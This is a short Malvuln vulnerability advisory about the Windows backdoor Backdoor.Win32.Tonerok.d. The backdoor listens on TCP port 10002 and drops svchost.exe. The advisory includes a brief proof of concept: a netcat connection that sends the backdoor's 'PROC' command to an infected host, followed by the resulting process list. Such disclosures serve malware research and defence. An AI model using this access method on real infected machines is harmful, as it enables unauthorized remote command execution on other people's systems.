Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/b297c565899ace88f40e5da833f41561.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Tonerok.d Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 10002 and drops an executable named "svchost.exe" under Windows dir. Third-party attackers who can reach an infected system can execute commands made available by the backdoor. Type: PE32 MD5: b297c565899ace88f40e5da833f41561 Vuln ID: MVID-2021-0226 Dropped files: svchost.exe Disclosure: 05/23/2021 Exploit/PoC: E.g. list processes on the infected host using the malwares internal "PROC" command. nc64.exe x.x.x.x 10002 C:\WINDOWS C:\WINDOWS\system32 PROC [System Process] System smss.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe fontdrvhost.exe fontdrvhost.exe svchost.exe svchost.exe dwm.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).